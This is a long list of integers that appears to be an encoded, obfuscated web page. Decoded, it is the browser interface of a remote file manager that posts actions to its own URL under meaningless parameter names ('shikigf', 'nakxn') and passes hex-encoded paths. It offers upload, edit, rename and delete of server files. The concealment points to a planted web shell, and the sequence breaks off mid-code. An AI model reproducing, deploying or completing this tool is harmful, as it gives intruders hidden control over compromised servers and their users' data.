77, 66, 85, 94, 6, 39, 73, 90, 93, 93, 82, 83, 92, 15, 23, 9, 73, 65, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 19, 1, 39, 3, 117, 84, 90, 93, 82, 83, 92, 25, 93, 82, 87, 94, 88, 77, 84, 87, 66, 231, 185, 155, 5, 20, 77, 93, 3, 5, 20, 77, 87, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 20, 77, 103, 84, 93, 66, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 20, 77, 90, 103, 85, 94, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 91, 84, 84, 77, 94, 87, 39, 3, 27, 88, 84, 73, 66, 25, 79, 94, 82, 83, 81, 84, 87, 84, 103, 84, 72, 78, 5, 20, 93, 82, 75, 3, 54, 63, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 5, 93, 82, 75, 25, 82, 93, 6, 39, 77, 84, 90, 72, 77, 72, 39, 25, 90, 87, 82, 90, 22, 85, 82, 75, 94, 6, 39, 73, 84, 85, 82, 77, 94, 39, 25, 90, 87, 82, 90, 22, 90, 77, 84, 86, 82, 88, 6, 39, 77, 87, 78, 94, 39, 3, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 5, 93, 82, 75, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 39, 25, 90, 87, 82, 90, 22, 81, 82, 93, 93, 94, 83, 6, 39, 77, 87, 78, 94, 39, 3, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 88, 90, 87, 93, 39, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 81, 94, 90, 93, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 77, 82, 77, 85, 94, 39, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 39, 3, 126, 93, 82, 77, 25, 91, 82, 85, 94, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 25, 72, 94, 88, 84, 83, 93, 90, 87, 66, 39, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 120, 85, 84, 72, 94, 39, 25, 77, 66, 73, 94, 6, 39, 103, 78, 77, 77, 84, 83, 39, 3, 120, 85, 84, 72, 94, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 103, 84, 93, 66, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 77, 94, 65, 77, 90, 87, 94, 90, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 39, 25, 72, 73, 94, 85, 85, 88, 81, 94, 88, 80, 6, 39, 91, 90, 85, 72, 94, 39, 3, 5, 20, 77, 94, 65, 77, 90, 87, 94, 90, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 90, 88, 77, 82, 84, 83, 72, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 39, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 104, 90, 75, 94, 39, 25, 77, 66, 73, 94, 6, 39, 103, 78, 77, 77, 84, 83, 39, 3, 104, 90, 75, 94, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 5, 72, 88, 87, 82, 73, 77, 3, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 77, 84, 90, 72, 77, 17, 86, 72, 92, 21, 25, 77, 66, 73, 94, 6, 28, 84, 80, 28, 21, 25, 77, 82, 86, 94, 84, 78, 77, 6, 23, 11, 9, 9, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 76, 87, 90, 73, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 77, 84, 90, 72, 77, 72, 28, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 94, 85, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 93, 82, 75, 28, 18, 0, 54, 63, 25, 25, 94, 85, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 77, 84, 90, 72, 77, 25, 28, 25, 16, 25, 77, 66, 73, 94, 0, 54, 63, 25, 25, 94, 85, 19, 82, 83, 83, 94, 87, 113, 109, 118, 117, 25, 6, 25, 89, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 93, 84, 77, 39, 3, 5, 20, 72, 73, 90, 83, 3, 5, 93, 82, 75, 3, 29, 64, 86, 72, 92, 70, 5, 20, 93, 82, 75, 3, 89, 0, 54, 63, 25, 25, 76, 87, 90, 73, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 94, 85, 18, 0, 54, 63, 25, 25, 72, 94, 77, 109, 82, 86, 94, 84, 78, 77, 17, 17, 18, 6, 3, 64, 25, 94, 85, 19, 72, 77, 66, 85, 94, 19, 84, 73, 90, 88, 82, 77, 66, 6, 28, 9, 28, 0, 25, 94, 85, 19, 72, 77, 66, 85, 94, 19, 77, 87, 90, 83, 72, 91, 84, 87, 86, 6, 28, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 11, 73, 65, 18, 28, 0, 25, 70, 21, 25, 77, 82, 86, 94, 84, 78, 77, 18, 0, 54, 63, 25, 25, 72, 94, 77, 109, 82, 86, 94, 84, 78, 77, 17, 17, 18, 6, 3, 64, 25, 94, 85, 19, 87, 94, 86, 84, 75, 94, 17, 18, 0, 25, 70, 21, 25, 77, 82, 86, 94, 84, 78, 77, 16, 8, 14, 9, 18, 0, 54, 63, 70, 54, 63, 54, 63, 88, 84, 83, 72, 77, 25, 72, 77, 90, 77, 94, 25, 6, 25, 64, 54, 63, 25, 25, 73, 90, 77, 81, 15, 25, 39, 5, 4, 6, 25, 29, 72, 77, 90, 77, 94, 105, 90, 77, 81, 25, 4, 3, 39, 21, 54, 63, 25, 25, 94, 93, 82, 77, 82, 83, 92, 15, 25, 64, 25, 83, 90, 86, 94, 15, 25, 83, 78, 85, 85, 25, 70, 54, 63, 70, 0, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 77, 84, 113, 94, 65, 17, 72, 77, 87, 18, 64, 54, 63, 25, 25, 85, 94, 77, 25, 84, 78, 77, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 91, 84, 87, 25, 17, 85, 94, 77, 25, 82, 25, 6, 25, 9, 0, 25, 82, 25, 5, 25, 72, 77, 87, 19, 85, 94, 83, 92, 77, 81, 0, 25, 82, 16, 16, 18, 25, 84, 78, 77, 25, 16, 6, 25, 72, 77, 87, 19, 88, 81, 90, 87, 120, 84, 93, 94, 122, 77, 17, 82, 18, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 10, 11, 18, 0, 54, 63, 25, 25, 87, 94, 77, 78, 87, 83, 25, 84, 78, 77, 0, 54, 63, 70, 54, 63, 54, 63, 20, 20, 25, 124, 94, 83, 94, 87, 82, 88, 25, 122, 105, 114, 25, 78, 72, 82, 83, 92, 25, 72, 81, 82, 80, 82, 92, 91, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 90, 73, 82, 17, 72, 81, 82, 80, 82, 92, 91, 21, 25, 93, 90, 77, 90, 25, 6, 25, 64, 70, 18, 25, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 91, 84, 87, 86, 25, 6, 25, 83, 94, 76, 25, 123, 84, 87, 86, 125, 90, 77, 90, 17, 18, 0, 54, 63, 25, 25, 91, 84, 87, 86, 19, 90, 73, 73, 94, 83, 93, 17, 28, 72, 81, 82, 80, 82, 92, 91, 28, 21, 25, 72, 81, 82, 80, 82, 92, 91, 18, 0, 25, 25, 25, 20, 20, 25, 120, 113, 122, 115, 124, 126, 125, 15, 25, 90, 88, 77, 82, 84, 83, 25, 22, 3, 25, 72, 81, 82, 80, 82, 92, 91, 54, 63, 25, 25, 91, 84, 87, 86, 19, 90, 73, 73, 94, 83, 93, 17, 28, 83, 90, 80, 65, 83, 28, 21, 25, 77, 84, 113, 94, 65, 17, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 18, 18, 0, 25, 20, 20, 25, 81, 94, 65, 25, 73, 90, 77, 81, 25, 82, 83, 25, 105, 116, 104, 109, 25, 91, 84, 87, 25, 83, 84, 87, 86, 90, 85, 25, 90, 88, 77, 82, 84, 83, 72, 54, 63, 25, 25, 91, 84, 87, 25, 17, 88, 84, 83, 72, 77, 25, 96, 80, 21, 75, 102, 25, 84, 91, 25, 116, 103, 95, 94, 88, 77, 19, 94, 83, 77, 87, 82, 94, 72, 17, 93, 90, 77, 90, 18, 18, 25, 91, 84, 87, 86, 19, 90, 73, 73, 94, 83, 93, 17, 80, 21, 25, 75, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 87, 94, 72, 25, 6, 25, 90, 76, 90, 82, 77, 25, 91, 94, 77, 88, 81, 17, 85, 84, 88, 90, 77, 82, 84, 83, 19, 81, 87, 94, 91, 21, 25, 64, 25, 86, 94, 77, 81, 84, 93, 15, 28, 105, 116, 104, 109, 28, 21, 25, 103, 84, 93, 66, 15, 25, 91, 84, 87, 86, 25, 70, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 77, 94, 65, 77, 25, 6, 25, 90, 76, 90, 82, 77, 25, 87, 94, 72, 19, 77, 94, 65, 77, 17, 18, 0, 54, 63, 25, 25, 77, 87, 66, 25, 64, 25, 88, 84, 83, 72, 77, 25, 95, 25, 6, 25, 127, 104, 116, 115, 19, 73, 90, 87, 72, 94, 17, 77, 94, 65, 77, 18, 0, 25, 82, 91, 25, 17, 26, 95, 19, 84, 80, 18, 25, 77, 81, 87, 84, 76, 25, 83, 94, 76, 25, 126, 87, 87, 84, 87, 17, 95, 19, 94, 87, 87, 84, 87, 25, 69, 69, 25, 28, 119, 94, 74, 78, 94, 72, 77, 25, 91, 90, 82, 85, 94, 93, 28, 18, 0, 25, 87, 94, 77, 78, 87, 83, 25, 95, 0, 25, 70, 54, 63, 25, 25, 88, 90, 77, 88, 81, 17, 94, 18, 64, 25, 88, 84, 83, 72, 84, 85, 94, 19, 94, 87, 87, 84, 87, 17, 28, 104, 94, 87, 75, 94, 87, 25, 87, 90, 76, 15, 28, 21, 25, 77, 94, 65, 77, 18, 0, 25, 77, 81, 87, 84, 76, 25, 83, 94, 76, 25, 126, 87, 87, 84, 87, 17, 28, 114, 83, 75, 90, 85, 82, 93, 25, 72, 94, 87, 75, 94, 87, 25, 87, 94, 72, 73, 84, 83, 72, 94, 28, 18, 0, 25, 70, 54, 63, 70, 54, 63, 54, 63, 88, 84, 83, 72, 77, 25, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 25, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 91, 82, 85, 94, 114, 83, 73, 78, 77, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 117, 90, 103, 94, 85, 25, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 91, 82, 85, 94, 117, 90, 103, 94, 85, 28, 18, 0, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 64, 25, 77, 87, 66, 25, 64, 25, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 19, 87, 94, 72, 94, 77, 17, 18, 0, 25, 70, 25, 88, 90, 77, 88, 81, 17, 100, 18, 25, 64, 70, 25, 82, 91, 25, 17, 91, 82, 85, 94, 114, 83, 73, 78, 77, 18, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 25, 82, 91, 25, 17, 91, 82, 85, 94, 117, 90, 103, 94, 85, 18, 25, 91, 82, 85, 94, 117, 90, 103, 94, 85, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 28, 120, 81, 84, 84, 72, 94, 25, 123, 82, 85, 94, 28, 0, 25, 70, 54, 63, 54, 63, 93, 84, 88, 78, 86, 94, 83, 77, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 94, 18, 6, 3, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 103, 77, 83, 25, 6, 25, 94, 19, 77, 90, 87, 92, 94, 77, 19, 88, 85, 84, 72, 94, 72, 77, 17, 28, 19, 103, 77, 83, 28, 18, 0, 54, 63, 25, 25, 82, 91, 25, 17, 103, 77, 83, 25, 27, 27, 25, 26, 103, 77, 83, 19, 88, 85, 84, 72, 94, 72, 77, 17, 28, 24, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 28, 18, 18, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 70, 18, 0, 54, 63, 54, 63, 82, 91, 25, 17, 91, 82, 85, 94, 114, 83, 73, 78, 77, 18, 25, 64, 54, 63, 25, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 81, 90, 83, 92, 94, 28, 21, 25, 91, 78, 83, 88, 77, 82, 84, 83, 17, 18, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 91, 82, 85, 94, 117, 90, 103, 94, 85, 18, 25, 91, 82, 85, 94, 117, 90, 103, 94, 85, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 91, 82, 85, 94, 72, 19, 85, 94, 83, 92, 77, 81, 25, 4, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 91, 82, 85, 94, 72, 96, 9, 102, 19, 83, 90, 86, 94, 25, 15, 25, 28, 120, 81, 84, 84, 72, 94, 25, 123, 82, 85, 94, 28, 0, 54, 63, 25, 25, 70, 18, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 87, 94, 83, 93, 94, 87, 17, 82, 77, 94, 86, 72, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 77, 103, 84, 93, 66, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 91, 86, 7, 84, 93, 66, 28, 18, 0, 54, 63, 25, 25, 77, 103, 84, 93, 66, 19, 82, 83, 83, 94, 87, 113, 109, 118, 117, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 82, 91, 25, 17, 26, 82, 77, 94, 86, 72, 19, 85, 94, 83, 92, 77, 81, 18, 64, 54, 63, 25, 25, 25, 25, 77, 103, 84, 93, 66, 19, 82, 83, 83, 94, 87, 113, 109, 118, 117, 25, 6, 25, 28, 5, 77, 87, 3, 5, 77, 93, 25, 88, 84, 85, 72, 73, 90, 83, 6, 39, 14, 39, 25, 72, 77, 66, 85, 94, 6, 39, 73, 90, 93, 93, 82, 83, 92, 15, 23, 9, 73, 65, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 19, 1, 39, 3, 126, 86, 73, 77, 66, 25, 93, 82, 87, 94, 88, 77, 84, 87, 66, 5, 20, 77, 93, 3, 5, 20, 77, 87, 3, 28, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 0, 54, 63, 25, 25, 70, 54, 63, 25, 25, 91, 84, 87, 25, 17, 88, 84, 83, 72, 77, 25, 82, 77, 25, 84, 91, 25, 82, 77, 94, 86, 72, 18, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 77, 87, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 87, 28, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 83, 90, 86, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 93, 28, 18, 0, 54, 63, 25, 25, 25, 25, 83, 90, 86, 94, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 83, 90, 86, 94, 28, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 82, 88, 84, 83, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 93, 82, 75, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 88, 84, 83, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 82, 88, 84, 83, 25, 28, 25, 16, 25, 17, 82, 77, 19, 77, 66, 73, 94, 25, 6, 6, 6, 25, 28, 93, 82, 87, 28, 25, 4, 25, 28, 91, 84, 85, 93, 94, 87, 28, 25, 15, 25, 28, 91, 82, 85, 94, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 88, 84, 83, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 82, 77, 19, 77, 66, 73, 94, 25, 6, 6, 6, 25, 28, 93, 82, 87, 28, 25, 4, 25, 28, 201, 164, 168, 186, 28, 25, 15, 25, 28, 201, 164, 168, 189, 28, 0, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 85, 82, 83, 80, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 90, 28, 18, 0, 54, 63, 25, 25, 25, 25, 85, 82, 83, 80, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 82, 77, 19, 83, 90, 86, 94, 0, 54, 63, 25, 25, 25, 25, 85, 82, 83, 80, 19, 72, 77, 66, 85, 94, 19, 88, 84, 85, 84, 87, 25, 6, 25, 28, 24, 91, 91, 91, 28, 0, 54, 63, 25, 25, 25, 25, 85, 82, 83, 80, 19, 72, 77, 66, 85, 94, 19, 77, 94, 65, 77, 125, 94, 88, 84, 87, 90, 77, 82, 84, 83, 25, 6, 25, 28, 83, 84, 83, 94, 28, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 82, 77, 19, 77, 66, 73, 94, 25, 6, 6, 6, 25, 28, 93, 82, 87, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 83, 94, 76, 110, 87, 85, 25, 6, 25, 83, 94, 76, 25, 110, 119, 117, 17, 85, 84, 88, 90, 77, 82, 84, 83, 19, 84, 87, 82, 92, 82, 83, 25, 16, 25, 85, 84, 88, 90, 77, 82, 84, 83, 19, 73, 90, 77, 81, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 83, 94, 76, 110, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 83, 90, 80, 65, 83, 28, 21, 25, 77, 84, 113, 94, 65, 17, 82, 77, 19, 73, 90, 77, 81, 18, 18, 0, 25, 20, 20, 25, 81, 94, 65, 25, 82, 83, 25, 110, 119, 117, 25, 91, 84, 87, 25, 93, 94, 94, 73, 22, 85, 82, 83, 80, 54, 63, 25, 25, 25, 25, 25, 25, 85, 82, 83, 80, 19, 81, 87, 94, 91, 25, 6, 25, 83, 94, 76, 110, 87, 85, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 85, 82, 83, 80, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 94, 18, 25, 6, 3, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 82, 72, 118, 84, 93, 82, 91, 82, 94, 93, 25, 6, 25, 94, 19, 88, 77, 87, 85, 112, 94, 66, 25, 69, 69, 25, 94, 19, 86, 94, 77, 90, 112, 94, 66, 25, 69, 69, 25, 94, 19, 72, 81, 82, 91, 77, 112, 94, 66, 25, 69, 69, 25, 94, 19, 90, 85, 77, 112, 94, 66, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 82, 72, 118, 82, 93, 93, 85, 94, 25, 6, 25, 94, 19, 103, 78, 77, 77, 84, 83, 25, 6, 6, 6, 25, 10, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 26, 82, 72, 118, 84, 93, 82, 91, 82, 94, 93, 25, 27, 27, 25, 26, 82, 72, 118, 82, 93, 93, 85, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 88, 81, 90, 83, 92, 94, 125, 82, 87, 94, 88, 77, 84, 87, 66, 17, 82, 77, 19, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 70, 25, 94, 85, 72, 94, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 85, 82, 83, 80, 19, 81, 87, 94, 91, 25, 6, 25, 28, 24, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 85, 82, 83, 80, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 94, 18, 6, 3, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 84, 73, 94, 83, 126, 93, 82, 77, 84, 87, 17, 82, 77, 19, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 83, 90, 86, 94, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 82, 88, 84, 83, 18, 0, 25, 83, 90, 86, 94, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 85, 82, 83, 80, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 77, 66, 73, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 93, 28, 18, 0, 54, 63, 25, 25, 25, 25, 77, 66, 73, 94, 19, 82, 83, 83, 94, 87, 113, 109, 118, 117, 25, 6, 25, 89, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 77, 66, 73, 94, 22, 103, 90, 93, 92, 94, 39, 3, 29, 64, 82, 77, 19, 77, 66, 73, 94, 70, 5, 20, 72, 73, 90, 83, 3, 89, 0, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 72, 82, 79, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 93, 28, 18, 0, 25, 72, 82, 79, 94, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 82, 77, 19, 72, 82, 79, 94, 25, 69, 69, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 86, 77, 82, 86, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 93, 28, 18, 0, 25, 86, 77, 82, 86, 94, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 82, 77, 19, 86, 77, 82, 86, 94, 0, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 90, 88, 77, 82, 84, 83, 72, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 77, 93, 28, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 87, 84, 76, 122, 88, 77, 82, 84, 83, 72, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 93, 82, 75, 28, 18, 0, 25, 87, 84, 76, 122, 88, 77, 82, 84, 83, 72, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 28, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 82, 77, 19, 77, 66, 73, 94, 25, 6, 6, 6, 25, 28, 91, 82, 85, 94, 28, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 7, 77, 83, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 103, 78, 77, 77, 84, 83, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 94, 93, 82, 77, 7, 77, 83, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 103, 77, 83, 25, 86, 78, 77, 94, 93, 28, 0, 25, 94, 93, 82, 77, 7, 77, 83, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 28, 126, 93, 82, 77, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 94, 93, 82, 77, 7, 77, 83, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 18, 6, 3, 25, 64, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 25, 84, 73, 94, 83, 126, 93, 82, 77, 84, 87, 17, 82, 77, 19, 83, 90, 86, 94, 18, 0, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 87, 84, 76, 122, 88, 77, 82, 84, 83, 72, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 94, 93, 82, 77, 7, 77, 83, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 93, 94, 85, 7, 77, 83, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 103, 78, 77, 77, 84, 83, 28, 18, 0, 54, 63, 25, 25, 25, 25, 93, 94, 85, 